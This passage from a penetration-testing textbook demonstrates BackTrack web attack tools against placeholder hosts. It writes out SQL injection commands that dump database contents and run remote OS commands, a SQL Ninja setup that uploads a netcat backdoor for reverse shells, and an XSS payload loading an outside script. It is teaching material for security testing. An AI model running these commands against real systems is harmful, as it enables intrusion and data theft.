In the second test, we queried the MySQL server using vulnerable application's input
parameter to return the version information. As you can see we have used -b option
to specify the target database type which we have already found during the first
test. We have used the MySQL function version() to query the version information
about remote database instance. This attack can be extended using complex SQL
functions and statements to extract or manipulate the database system.
SQLbrute
The SQLbrute is an advanced SQL injection tool used to extract data from a
vulnerable web application's database. It combines the power of error-based and
time-based blind SQL injection vulnerabilities to assess the target web application
for known patterns which should result in extracting the data out of the database
successfully. It currently supports these tests against two known database
technologies, MS-SQL Server and Oracle. However, there is a limitation to Oracle
database that it cannot be tested against time-based SQL injection vulnerabilities.
To start SQLbrute, go to Backtrack | Web Application Analysis | Database |
MSSQL | SQLbrute or execute the following commands on your shell:
# cd /pentest/database/sqlbrute/
# ./sqlbrute.py
This will display all the options and usage instructions on the screen. During this
exercise we will target a small web application running on the MS-SQL Server and
try to extract all tables present in the database. It is important to note that here we are
testing our application using error-based SQL injection attack.
[ 191 ]
Vulnerability Mapping
In the preceding example, as we didn't use the --server option because by default,
the program assumes the target as the MS-SQL server. The use of --data represents
the post parameter and value combination to be appended to the HTTP request URI
with a single quote for SQL injection point notification. This shows that the tool
should differentiate the exploit condition in between normal query string and POST
data. In this exercise we have successfully retrieved the list of databases which can
further be used to extract tables, columns, and data.
# ./sqlbrute.py --data "id=1'" --error "NO RESULTS" --database \ cmsdb
http://testasp.targetdomain.com/showthread.asp
...
This program will currently exit 60 seconds after the last response
comes in.
Found: cmsusers
Found: countries
Found: articles
Found: pollervote
Found: pictures
Found: writers
Found: sections
Found: sub_sections
...
Now we have targeted the cmsdb database to extract the tables using the --database
option. In the next example, we will extract the columns for the table writers.
[ 192 ]
Chapter 7
Now we have successfully retrieved the columns for the writers table. We can now
select a particular column to extract the data using the --column option.
# ./sqlbrute.py --data "id=1'" --error "NO RESULTS" --database \
cmsdb --table writers --column name \ http://testasp.targetdomain.com/
showthread.asp
...
This program will currently exit 60 seconds after the last response
comes in.
Found: John
Found: Vikas
Found: Dany
Found: Donald
Found: Rossi
Found: Elya
Found: Aimon
...
All of these examples have provided you with the best view of the SQLbrute
program. You should remember that we can still use time-based SQL injections
for the application which fails to respond to error-based SQL injection. This can be
accomplished by using the --time option with other appropriate command-line
switches.
[ 193 ]
Vulnerability Mapping
SQLiX
SQLiX is a very useful Perl based SQL injection scanner. It has the ability to crawl,
scan, and detect the SQL injection problems, ranging from error-based to blind type.
It is capable of analyzing the applications supporting MS-SQL, MySQL, PostgreSQL,
and Oracle as a backend database. SQLiX also provides advanced options for
attacking and commanding the target if it falls under a specific database category.
This tool can also be used to check some potential injection vectors based on HTTP
headers (such as referrer, agent, and cookie).
All the program options will be displayed on your screen. In our exercise, we will be
targeting the web application with randomly chosen URLs having parameters and
values specified. We assume that the target ASP application server would be running
MS-SQL database server, so we decide to execute our test with system command
injection to list the contents of the remote server drive (C:\), if exploited successfully.
Please note that this is only true with MS-SQL system.
# ./SQLiX.pl -\ url="http://testasp.targetdomain.com/showforum.asp?id=0"
-all -\ exploit -cmd="dir c:\\" -v=2
...
Analysing URL [http://testasp.targetdomain.com/showforum.asp?id=0]
http://testasp.targetdomain.com/showforum.asp?id=0
[+] working on id
[+] Method: MS-SQL error message
[FOUND] MS-SQL error message (implicite without quotes)
[FOUND] function [@@version]:
Microsoft SQL Server 2005 - 9.00.3042.00 (Intel
X86)
Feb 9 2007 22:47:07
Copyright (c) 1988-2005 Microsoft
Corporation
Express Edition on Windows NT 5.2 (Build
3790: Service Pack 1)
[INFO] System command injector:
[INFO] Current database: rceforum
[INFO] We are not sysadmin for now
[INFO] Checking OpenRowSet availibility - please wait...
[INFO] Current user login: [rcetix]
[FOUND] OPENROWSET available -
[ 194 ]
Chapter 7
Directory of c:\
02/21/2008 12:10 AM <DIR> WINNT
02/21/2008 12:26 AM <DIR> Documents and Settings
08/14/2010 01:34 PM <DIR> Program Files
08/14/2010 01:35 PM 0 CONFIG.SYS
08/14/2010 01:35 PM 0 AUTOEXEC.BAT
08/14/2010 02:02 PM 182 simatel.log
08/14/2010 02:04 PM 90 setup.log
08/14/2010 02:46 PM <DIR> CtDriverInstTemp
08/21/2010 01:44 AM 6,263 hpfr3500.log
09/12/2010 07:11 PM <DIR> Customer Accounts
09/06/2010 07:11 PM <DIR> Transactions History
5 File(s)
6,535 bytes
6 Dir(s)
4,266,303,488 bytes free
=====================================
=========================
[FOUND] MS-SQL error message
RESULTS:
The variable [id] from [http://testasp.targetdomain.com/showforum.
asp?id=0] is vulnerable to SQL Injection [TAG implicite without quotes
- MSSQL].
...
Thus, the SQL injection was successful on id parameter. If you don't have a specific
website URL then you can use -crawl instead of the -url option. It will spider
through all the available links on the website and scan them to detect the presence
of an SQL injection. If you got any post data within the application URL, this can
be specified using --post_content. In our example, we selected the -all option to
apply all the available injection methods against the target URL parameter, however
this can also be defined based on the specific injection requirements. The purpose of
the -exploit switch was to retrieve the version information of the SQL server, and
that of -cmd was to execute the specific command on the remote server.
[ 195 ]
Vulnerability Mapping
SQLMap
SQLMap is an advanced and automatic SQL injection tool. Its main purpose is to
scan, detect, and exploit the SQL injection flaws for the given URL. It currently
supports various database management systems (DBMS) such as MS-SQL,
MySQL, Oracle, and PostgreSQL. It is also capable of identifying other database
systems such as DB2, Informix, Sybase, Interbase, and MS Access. SQLMap
employs four unique SQL injection techniques, this includes inferential blind SQL
injection, UNION query SQL injection, stacked queries, and time-based blind SQL
injection. Its broad range of features and options include database fingerprinting,
enumeration, data extraction, access the target file system and execute the arbitrary
commands with full operating system access. Additionally, it can parse the list
of targets from Burp Proxy or Web Scarab logs as well as the standard text file.
SQLMap also provides an opportunity to scan the Google search engine with
classified Google dorks to extract the specific targets.
You will see all the available options that can be used to assess your target. These
set of options have been divided into eleven logical categories, namely, target
specification, connection request parameters, injection payload, injection techniques,
fingerprinting, enumeration options, user-defined function (UDF) injection, file
system access, operating system access, Windows registry access, and other
miscellaneous options. In our first example, we will be using a number of options to
fingerprint and enumerate some information from the target application database
system.
# ./sqlmap.py -u \ "http://testphp.targetdomain.com/artists.php?artist=2"
-p \ "artist" -f -b --current-user --current-db --dbs --users
...
[*] starting at: 11:21:43
[ 196 ]
Chapter 7
[ 197 ]
Vulnerability Mapping
At this point, we have to successfully inject the parameter artist. You may have
noticed the -p option that is used to define the selective parameter to target within
a URL. By default, SQLMap will scan all the available parameters (GET, POST,
HTTP Cookie, and User-Agent) but we have restricted this option by defining the
exact parameter (-p "parameter1, parameter2") to inject. This will speed up the
process of SQL injection and may allow retrieving the data from backend database
efficiently. In our second test, we will demonstrate the use of --tables and -D
options to extract the list of tables from a fanart database.
# ./sqlmap.py -u \ "http://testphp.targetdomain.com/artists.php?artist=2"
--tables \ -D fanart -v 0
[*] starting at: 12:03:53
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or
Dapper Drake)
web application technology: Apache 2.0.55, PHP 5.1.2
back-end DBMS: MySQL 5
Database: fanart
[7 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| users |
+-----------+
[ 198 ]
Chapter 7
You should notice that the target fingerprint data has been retrieved back from a
previous session because the same URL was given as a target and the whole process
does not need to restart. This phenomenon is very useful where you want to stop
and save the current test session and resume it on a later date. At this point, we can
also select to automate the database dumping process by using --dump or --dump
all option. More advanced options like --os-cmd , --os-shell , or --os-pwn will
help the penetration tester to gain remote access to the system and execute arbitrary
commands. However, this feature is only workable on MS-SQL, MySQL, and
PostgreSQL database underlying operating system. In order to practice more based
on the other set of options, we recommend you go through examples in the following
tutorial: http://sqlmap.sourceforge.net/doc/README.html.
SQL Ninja
SQL Ninja is a specialized tool developed to target those web applications that
use MS-SQL Server on the backend, and are vulnerable to SQL injection flaws. Its
main goal is to exploit these vulnerabilities by taking over the remote database
server through an interactive command shell instead of just extracting the data
out of the database. It includes various options to perform this task, such as server
fingerprint, password bruteforce, privilege escalation, upload remote backdoor,
direct shell, backscan connect shell (firewall bypass), reverse shell, DNS tunneling,
single command execution, and metasploit integration. Thus, it is not a tool to
scan and discover the SQL injection vulnerabilities but to exploit any such existing
vulnerability to gain OS access.
You will see all the available options on your screen. Before we start our test, we need
to update the configuration file to reflect all the target parameters and exploit options.
# vim sqlninja.conf
...
# Host (required)
[ 199 ]
Vulnerability Mapping
host = testasp.targetdomain.com
# Port (optional, default: 80)
port = 80
# Vulnerable page (e.g.: /dir/target.asp)
page = /showforum.asp
stringstart = id=0;
# Local host: your IP address (for backscan and revshell modes)
lhost = 192.168.0.3
msfpath = /pentest/exploits/framework3
# Name of the procedure to use/create to launch commands. Default is
# "xp_cmdshell". If set to "NULL", openrowset+sp_oacreate will be used
# for each command
xp_name = xp_cmdshell
...
Please note that we have only presented those parameters that require change to
our selective values. All the other options have been left as default. It is necessary
to examine any possible SQL injection vulnerability using other tools before
approaching to use SQL Ninja. Once the configuration file has been set up correctly,
you can test it against your target if the defined variables work properly. We will use
the attack mode -m with t/test.
# ./sqlninja -m t
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer <[email protected]>
[+] Parsing configuration file................
[+] Target is: testasp.targetdomain.com
[+] Trying to inject a 'waitfor delay'....
[+] Injection was successful! Let's rock !! :)
...
As you can see, our configuration file has been parsed and the blind injection test has
been successful. We can now move our steps to fingerprint the target and get more
information about SQL Server and its underlying operating system privileges.
# ./sqlninja -m f
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer <[email protected]>
[+] Parsing configuration file................
[+] Target is: testasp.targetdomain.com
What do you want to discover ?
0 - Database version (2000/2005)
1 - Database user
[ 200 ]
Chapter 7
This shows that the target system is vulnerable and not hardened with better
database security policy. From here we have the opportunity to upload netcat
backdoor and use any type of shell to get interactive command prompt from a
compromised target. Also, the most frequent choice to have more penetration
options can be achieved via "metasploit" attack mode.
# ./sqlninja -m u
Sqlninja rel. 0.2.3
Copyright (C) 2006-2008 icesurfer <[email protected]>
[+] Parsing configuration file................
[+] Target is: testasp.targetdomain.com
File to upload:
shortcuts: 1=scripts/nc.scr 2=scripts/dnstun.scr
> 1
[+] Uploading scripts/nc.scr debug script............
1540/1540 lines written
done !
[+] Converting script to executable... might take a while
[+] Completed: nc.exe is uploaded and available !
[ 201 ]
Vulnerability Mapping
We have now successfully uploaded the backdoor which can be used to get s/
dirshell, k/backscan or r/revshell. Moreover, the advanced option such as
m/metasploit can also be used to gain GUI access to a remote machine by using
SQL Ninja as a wrapper for Metasploit framework. More information on SQL Ninja
usage and configuration is available at http://sqlninja.sourceforge.net/
sqlninja-howto.html.
Burp Suite
Burp Suite is a combination of powerful web application security tools. These
tools demonstrate the real-world capabilities of an attacker penetrating the web
applications. It can scan, analyze, and exploit the web applications using manual
and automated techniques. The integration facility between the interfaces of these
tools provides a complete attack platform to share information between one or more
tools altogether. This makes the Burp Suite a very effective and easy-to-use web
application attack framework.
You will be presented with a Burp Suite window on your screen. All the integrated
tools (target, proxy, spider, scanner, intruder, repeater, sequencer, decoder, and
comparer) can be accessed via their individual tabs. More details about their usage
and configuration can be reached through the help menu or by visiting http://www.
portswigger.net/suite/help.html. In our exercise, we will be analyzing a small
web application using a number of Burp Suite tools. It is necessary to note that Burp
Suite is available in two different editions, Free and Commercial. The one available
under BackTrack is a free edition and imposes some functionality restrictions.
[ 202 ]
Chapter 7
• First go to proxy | options and verify the proxy listeners property. In our
case, we left the default settings to listen on port 8080. More options such as
host redirection, SSL certificate, client request interception, server response
interception, page properties, and header modifications can be used to match
your application assessment criteria.
• Go to proxy | intercept and verify that intercept is on.
• Open your favorite browser (for example, Firefox) and set up the local proxy
for HTTP/HTTPs transactions (127.0.0.1, 8080) to intercept, inspect, and
modify the requests between the browser and target web application. All
the consequent responses will be recorded accordingly. Here the Burp Suite
application acts as man-in-the-middle (MITM) proxy.
• Surf the target website (for example, http://testphp.targetdomain.com),
and you will notice the request has been trapped under the proxy | intercept
tab. In our case, we decide to forward this request without any modification.
If you decide to modify any such request you can do so with raw, headers, or
hex tab. Please note that any other target application resources (for example,
images, flash files) may generate individual requests while accessing the
index page.
• We strongly recommend you visit as many pages as possible and try to help
Burp Suite to index the list of available pages mainly with GET and POST
requests. You can also use spider to automate this process. To accomplish
indexing with spider, go to target | site map, right-click on your target
website (for example, http://testphp.targetdomain.com), and select
spider this host. It will discover and scan a number of available pages
automatically and follow-up any form requests manually (for example, login
page). Once this operation is over, you can go to target | site map and check
the right panel with list of accessible web pages and their properties (method,
URL, parameters, response code, and so on).
• Select a web page with GET or POST parameters in order to test it with
intruder. The key is to enumerate possible identifiers, harvest useful
data, and fuzz the parameters for known vulnerabilities. Right-click on
the selected request and choose send to intruder. In our case, we select
http://testphp.targetdomain.com/listproducts.php?artist=2 to find
known vulnerabilities by injecting variable length of characters instead of 2.
[ 203 ]
Vulnerability Mapping
• In the next step, we define the attack type and payload position (intruder
| positions) to automate our test cases. The notification for the payload
placement is given by §2§ signature. We then step into the intruder |
payloads section to choose the specific payload from a pre-defined list
character blocks. Remember, you can also specify your own custom payload.
Once the whole setting is in place, go to the menu intruder | start. This will
pop-up another window listing all requests being executed against the target
application. After these requests have been processed as per chosen payload,
we decide to compare certain responses in order identify unexpected
application behavior. This can simply be done by right-clicking on the
selected request and choosing send response to comparer. At least two or
more different requests or responses can be compared based on words or
bytes. To learn more about different attack types and payload options, please
visit http://www.portswigger.net/intruder/help.html.
• During the response comparison, we discovered SQL injection vulnerability
with one of our payload requests. Hence, to verify its authenticity we decide
simulate that request again with repeater by right-clicking on it and selecting
send request to repeater instead of comparer from a pop-up window. Press
the go button under the repeater tab in order to get a response for the desired
request. You will notice the response instantly. In our case, we notice the
following error in a response page.
Error: Unknown column 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA' in 'where clause'
Warning : mysql_fetch_array(): supplied argument is not a
valid MySQL result resource in /var/www/vhosts/default/htdocs/
listproducts.php on line 74
Grendel Scan
The Grendel Scan is an automated web application security assessment tool. It scans,
detects, and exploits the common web application vulnerabilities and presents the final
results in a single comprehensive report. This kind of tool is very useful where the
penetration tester is given a short period for an application security testing assignment.
[ 204 ]
Chapter 7
Once the program window is loaded, you will see five individual tabs for the test
configuration. Taking a real-world scenario we have explained the general test
configuration.
• In the General Settings tab, uncheck Enable internal proxy unless you
are required to host the proxy for manually browsing the target website
for assessment. In the Base URLs section we input http://testasp.
targetdomain.com and click on the Add button. For the Output directory
location we provided /pentest/web/Grendel-Scan/results01 and left the
other settings untouched.
• In the HTTP Client tab, we didn't change any default settings. This section
mainly focuses on Upstream Proxy by which your scanner can connect the
target website. This can be useful if your network requires HTTP proxy to
connect to the external host. Additionally, we can also set Limits on the
connection requests being made by Grendel, and define miscellaneous User
agent string for the test requests.
• The purpose of the Authentication tab is to provide any prior authentication
details to access certain areas of the website. This can be HTTP
Authentication or HTML Form-Based. In our case, we check mark on
Use authentication and click on the Run Wizard in order to capture the
authentication parameters by visiting the target website login page under
Grendel proxy (127.0.0.1, 8008). All the necessary instructions will be
displayed on the wizard screen. Click on Start Proxy and visit your target
login page to capture the login template. Once this process is done, click on
the Complete button at the bottom.
• In the Target Details tab, we didn't change any default settings. However,
if you have any particular requirements with query parameters, session ID
patterns, black-list and white-list URL strings (scan restrictions) then these
can be defined here.
• Finally under the Test Module Selection tab, we can select the multiple test
types and exclude any unwanted or unnecessary test module. In our case we
select Session management, XSS, SQL injection, Application architecture,
and Web server configuration.
• Once all the settings have been finalized, you can start the scanning from the
menu Scan | Start Scan.
[ 205 ]
Vulnerability Mapping
During and after the scanning period you may have an option to inspect any
particular HTTP transactions based on manually crafted requests or intercepted
through a browser proxy. At the end of a test session, the report will be generated
(/pentest/web/Grendel-Scan/results01/report.html) listing all the identified
vulnerabilities found in the target environment.
LBD
The Load Balancing Detector (LBD) is a small shell script to detect any
load-balancing technology running behind the website. The detection mechanisms
implemented are based on DNS resolution, HTTP (Server and Date) headers, and
finding the difference between server replies. This utility is extremely useful in the
environment where the web applications are transparently loaded without any
visible affect to the end user. From a security standpoint, it may help you to discover
multiple IP addresses mapping to a single domain and thus determine the scope of
specialized testing (for example, DDoS).
To start LBD go to Backtrack | Web Application Analysis | Web | Lbd or use the
console to execute the following commands:
# cd /pentest/enumeration/lbd/
# ./lbd.sh
You will be presented with simple usage instructions. In our test, we are going to
analyze the target against any possible load balancers.
# ./lbd.sh targetdomain.com
lbd - load balancing detector 0.1 - Checks if a given domain uses
load-balancing.
Written by Stefan Behte (http://ge.mine.nu)
Proof-of-concept! Might give false positives.
Checking for DNS-Loadbalancing: FOUND
targetdomain.com has address 192.168.36.74
targetdomain.com has address 192.168.36.27
Checking for HTTP-Loadbalancing [Server]:
AkamaiGHost
FOUND
Checking for HTTP-Loadbalancing [Date]: 22:08:26, 22:08:27, 22:08:28,
22:08:28, 22:08:29, 22:08:29, 22:08:30, 22:08:30, 22:08:31, 22:08:32,
22:08:32, 22:08:33, 22:08:34, 22:08:34, 22:08:35, 22:08:36, 22:08:37,
22:08:37, 22:08:38, 22:08:39, 22:08:40, 22:08:40, 22:08:41, 22:08:42,
22:08:43, 22:08:43, 22:08:44, 22:08:45, 22:08:46, 22:08:46, 22:08:47,
22:08:48, 22:08:48, 22:08:49, 22:08:50, 22:08:51, 22:08:51, 22:08:52,
22:08:53, 22:08:54, 22:08:54, 22:08:55, 22:08:56, 22:08:57, 22:08:57,
[ 206 ]
Chapter 7
Hence we have discovered that our target is running load balancing technology and
is mapped with two IP addresses. Such information is vital for a malicious adversary
to prepare and launch the potential denial of service attacks against the target.
Nikto2
Nikto2 is an advanced web server security scanner. It scans and detects the security
vulnerabilities caused by server misconfiguration, default and insecure files, and
outdated server application. Nikto2 is purely built on LibWhisker2, and thus
supports cross-platform deployment, SSL, host authentication methods (NTLM/
Basic), proxies, and several IDS evasion techniques. It also supports sub-domain
enumeration, application security checks (XSS, SQL injection, and so on) and is
capable of guessing the authorization credentials using the dictionary-based attack
method.
This will display all the options with their extended features. In our exercise, we
select to execute specific set of tests against the target using the -T tuning option. In
order to learn more about each option and its usage, please visit http://cirt.net/
nikto2-docs/.
[ 207 ]
Vulnerability Mapping
[ 208 ]
Chapter 7
Paros Proxy
Paros Proxy is a valuable and intensive vulnerability assessment tool. It spiders
through the entire website and executes various vulnerability tests. It also allows
an auditor to intercept the web traffic (HTTP/HTTPs) by setting up the local proxy
between the browser and the actual target application. This mechanism helps an
auditor to tamper or manipulate with particular requests being made to the target
application in order test it manually. Thus, Paros Proxy acts as an active and passive
web application security assessment tool.
This will bring up the Paros Proxy window. Before we go through any practical
exercises, you need set up a local proxy (127.0.0.1, 8080) into your favorite
browser. If you want to change any default settings go to the menu Tools | Options.
This will allow you modify the connection settings, local proxy values, HTTP
authentication, and other relevant information. Once your browser has been set up,
visit your target website.
• If you would like to have the scan report, go to the menu Report | Last Scan
Report. This will generate a report listing all the vulnerabilities found during
the test session (/root/paros/session/LatestScannedReport.htm).
During our exemplary scenario we make use of basic vulnerability assessment test.
To get more familiar with various options offered by Paros Proxy, we recommend
you read the user guide available at http://www.parosproxy.org/paros_user_
guide.pdf.
Ratproxy
Ratproxy is a passive web application security assessment tool. It works in a
semi-automated fashion to detect potential security problems with accurate, non-
disruptive, and sensitive detection techniques in Web 2.0 environment. It can be
operated under active testing mode to confirm and validate certain security checks
by interacting with target application directly. The security tests supported by
Ratproxy include cross-domain script inclusion and trust relationships, cross-site
request forgery (XSRF), cross-site scripting (XSS), file inclusion patterns, script
injections, directory indexes, malicious JavaScript, and so on.
You will be presented with available options and usage instructions. Initially, the
detail provided for each option is shorter and you should consider further reading
at http://code.google.com/p/ratproxy/wiki/RatproxyDoc. In our exercise, we
will execute two different tests sequentially, the first with passive scanning mode
and the second with active testing mode.
# ./ratproxy -v testdir -w firstest -d testphp.targetdomain.com \ -lfscm
ratproxy version 1.58-beta by <[email protected]>
[*] Proxy configured successfully. Have fun, and please do not be
evil.
[+] Accepting connections on port 8080/tcp (local only)...
^C
[ 210 ]
Chapter 7
In our first test session, we defined the writable directory for HTTP traces (-v),
log file for the test results (-w), target domain (-d), and other selective options to
carry out passive web assessment. We also configured our browser to use the local
proxy (127.0.0.1, 8080) in order to get Ratproxy to scan and detect the possible
problems while browsing the target website. For better results, we recommend
you visit a target website in regular term and an exhaustive manner. Try all the
available features, such as upload, download, shopping cart, update profile, adding
comments, log in as a user, logout, and so on. Once you are done, terminate the
ratproxy with Ctrl+C. Now that we have already written a log file which is in
machine-readable format, we can use the following command to generate a human
readable HTML report.
# ./ratproxy-report.sh firstest > firstestreport.html
The report will highlight any known issues found during the passive security
assessment. The notations pointed in such a report can be used for further
manual analysis.
# ./ratproxy -v testdir2 -w secondtest -d \ testphp.targetdomain.com
-XClfscm
ratproxy version 1.58-beta by <[email protected]>
[*] Proxy configured successfully. Have fun, and please do not be
evil.
WARNING: Disruptive tests enabled. use with care.
[+] Accepting connections on port 8080/tcp (local only)...
^C
In our second test session, we defined the same parameters as before, except -X
and -C which represent the active disruptive testing to confirm and validate certain
security checks. Furthermore, the report can also be generated using the same
command parameters as mentioned previously.
# ./ratproxy-report.sh secondtest > secondtestreport.html
Upon inspection of both reports, we found a major difference where the first test
didn't confirm cross-site scripting (XSS) attack vector, while the second did. This
shows the clear difference between passive and active testing mode.
[ 211 ]
Vulnerability Mapping
W3AF
The W3AF is a feature-rich web application attack and audit framework that aims to
detect and exploit the web vulnerabilities. The whole application security assessment
process is automated and the framework is designed to follow three major steps,
which are discovery, audit, and attack. Each of these steps includes several plugins
which may help the auditor to focus on specific testing criteria. All these plugins can
communicate and share test data in order to achieve the required goal. It supports
the detection and exploitation of multiple web application vulnerabilities including
SQL injection, cross-site scripting, remote and local file inclusion, buffer overflows,
XPath injections, OS commanding, application misconfiguration, and so on. To get
more information about each available plugin, go to: http://w3af.sourceforge.
net/plugin-descriptions.php.
This will drop you into a personalized W3AF console mode (w3af>>>). Please do
note that the GUI version of this tool is also available under the same menu location,
but we preferred to introduce you the console version because of flexibility and
customization.
w3af>>> help
This will display all the basic options that can be used to configure the test. You can
use the help command whenever you require any assistance following the specific
option. In our exercise, we will first configure the output plugin, enable the selected
audit tests, set up the target, and execute the scan process against the target
website.
w3af>>> plugins
w3af/plugins>>> help
w3af/plugins>>> output
w3af/plugins>>> output console, htmlFile
w3af/plugins>>> output config htmlFile
w3af/plugins/output/config:htmlFile>>> help
w3af/plugins/output/config:htmlFile>>> view
w3af/plugins/output/config:htmlFile>>> set verbose True
w3af/plugins/output/config:htmlFile>>> set fileName testreport.html
w3af/plugins/output/config:htmlFile>>> back
[ 212 ]
Chapter 7
At this point we have configured all the required test parameters. Our target will be
evaluated against SQL injection, Cross-site scripting (XSS), OS Commanding, and
htaccess misconfiguration.
w3af>>> start
Auto-enabling plugin: grep.error500
Auto-enabling plugin: grep.httpAuthDetect
Found 2 URLs and 2 different points of injection.
The list of URLs is:
- http://testphp.targetdomain.com/
- http://testphp.targetdomain.com/search.php?test=query
The list of fuzzable requests is:
- http://testphp.targetdomain.com/ | Method: GET
- http://testphp.targetdomain.com/search.php?test=query | Method: POST
| Parameters: (searchFor="")
Starting sqli plugin execution.
Starting osCommanding plugin execution.
A possible OS Commanding was found at: "http://testphp.targetdomain.
com/search.php?test=query", using HTTP method POST. The sent post-data
was: "searchFor=run+ping+-n+3+localhost&goButton=go".Please review
manually. This information was found in the request with id 22.
Starting xss plugin execution.
Cross Site Scripting was found at: "http://testphp.targetdomain.com/
search.php?test=query", using HTTP method POST. The sent post-data
was: "searchFor=<ScRIPt/SrC=http://x4Xp/x.js></ScRIPt>&goButton=go".
This vulnerability affects Internet Explorer 6,Internet Explorer
7,Netscape with IE rendering engine,Mozilla Firefox,Netscape with
[ 213 ]
Vulnerability Mapping
As you can see, we have discovered some serious security vulnerabilities in the
target web application. As per our configuration, the default location for the test
report (HTML) is /pentest/web/w3af/testreport.html, which details all the
vulnerabilities including the debug information about each request and response
data transferred between W3AF and target web application. The test case we
presented here does not reflect the use of other useful plugins, profiles, and
exploit options. Hence, we strongly recommend you drill through various
exercises present in the user guide, available at http://w3af.sourceforge.net/
documentation/user/w3afUsersGuide.pdf.
WAFW00F
The WafW00f is a very useful python script capable of detecting the web application
firewall (WAF). This tool is particularly useful where the penetration tester wants to
inspect the target application server and may get fallback with certain vulnerability
assessment techniques for which the web application is actively protected by
firewall. Thus, detecting the firewall sitting in between an application server and
Internet traffic not only improves the testing strategy but also puts exceptional
challenges for the penetration tester to develop the advance evasion techniques.
This will display a simple usage instruction and example on your screen. In our
exercise, we are going to analyze the target website for the possibility of a web
application firewall.
# ./wafw00f.py http://www.targetdomain.net/
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking http://www.targetdomain.net/
The site http://www.targetdomain.net/ is behind a dotDefender
Number of requests: 5
[ 214 ]
Chapter 7
This proves that the target application server is running behind the firewall (for
example, dotDefender). Using this information we could further investigate the
possible ways to bypass WAF. This could involve techniques like HTTP parameter
pollution, null-byte replacement, normalization, encoding malicious URL string into
hex or Unicode, and so on.
WebScarab
WebScarab is a powerful web application security assessment tool. It has several
modes of operation but is mainly operated through the intercept proxy. This proxy
sits in between the end-user browser and the target web application to monitor
and modify the requests and responses being transmitted on either side. This
process helps the auditor to manually craft the malicious request and observe the
response thrown back by the web application. It has a number of integrated tools
such as fuzzer, session ID analysis, spider, web services analyzer, XSS and CRLF
vulnerability scanner, transcoder, and others.
This will pop-up the lite edition of WebScarab. For our exercise, we are going to
transform it into a full-featured edition by going to the menu Tools | Use full-
featured interface. This will confirm the selection and you should restart the
application accordingly. Once you restart the WebScarab application you should
see the number of tools tabs on your screen. Before we start our exercise, we need to
configure the browser to the local proxy (127.0.0.1, 8008) in order to browse the
target application via WebScarab intercept proxy. If you want to change the local
proxy (IP address or port), then go to the Proxy | Listeners tab.
• Once the local proxy has been set up, you should browse the target website
(such as http://testphp.targetdomain.com/) and visit as many links as
possible. This will increase the probability and chance of catching known
and unknown vulnerabilities. Alternatively, you can select the target under
the Summary tab, right-click and choose Spider tree. This will fetch all the
available links in the target application.
• If you want to check the request and response data for the particular page
mentioned at the bottom of Summary tab, double-click on it, and see the
parsed request in tabular and raw format. However, the response can be
viewed in HTML, XML, Text, and Hex format.
[ 215 ]
Vulnerability Mapping
• During the test period we decide to fuzz one of our target application links
having the parameters (for example, artist=1) with the GET method. This
may reveal any unidentified vulnerability, if it exists. Right-click on the
selected link and choose Use as fuzz template. Now go to the Fuzzer tab
and manually apply different values to the parameter by clicking on the Add
button near the Parameters section. In our case, we wrote a small text file
listing known SQL injection data (for example, 1 AND 1=2, 1 AND 1=1, single
quote (')) and provided it as a source for fuzzing the parameter value. This can
be accomplished using the Sources button under the Fuzzer tab. Once your
fuzz data is ready, click on Start. After all tests have been completed, you can
double-click on individual requests and inspect its consequent response. In one
of our test cases, we discovered MySQL injection vulnerability.
Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to
use near '\'' at line 1 Warning: mysql_fetch_array(): supplied
argument is not a valid MySQL result resource in /var/www/vhosts/
default/htdocs/listproducts.php on line 74
• In our last test case, we decide to analyze the target application's session ID.
For this purpose, go to the SessionID Analysis tab and choose Previous
Requests from the combo box. Once the chosen request has been loaded,
go to the bottom and select samples (for example, 20) and click on Fetch to
retrieve various samples of session IDs. After that, click on the Test button
to start the analysis process. You can see the results under the Analysis tab
and the graphical representation under the Visualization tab. This process
determines the randomness and unpredictability of session IDs which could
result in the hijacking of the other user's session or credential.
The tool has variety of options and features which could potentially add cognitive
value to the penetration testing. To get more information about WebScarab project,
please visit http://www.owasp.org/index.php/Category:OWASP_WebScarab_
Project.
[ 216 ]
Chapter 7
Summary
In this chapter, we have discussed the process of identifying and analyzing the
critical security vulnerabilities based on the selection of tools from BackTrack. We
have also mentioned three main classes of vulnerability, Design, Implementation,
and Operational and how they could fall into two generic types of vulnerabilities,
Local and Remote. We then discussed several vulnerability taxonomies that can be
followed by the security auditor to categorize the security flaws according to their
unifying commonality patterns. In order to carry out vulnerability assessment,
we have presented a number of tools that combine the automated and manual
inspection techniques. These tools are divided according to their specialized
technology audit category, such as OpenVAS (all-in-one assessment tool), Cisco,
Fuzzy testing, SMB, SNMP, and Web application security assessment tools. In
the next chapter, we will discuss the art of deception explaining various ways to
exploit human vulnerabilities in order to acquire the target. Although this process is
sometimes optional, it is considered vital when there is lack of information available
to exploit the target infrastructure.
[ 217 ]
Social Engineering
Social Engineering is the practice of learning and obtaining valuable information by
exploiting human vulnerabilities. It is an art of deception which is considered to be
vital for a penetration tester when there is a lack of information available about the
target that can be exploited. Since people are the weakest link in security defense to
any organization, this is the most vulnerable layer in security infrastructure. We are
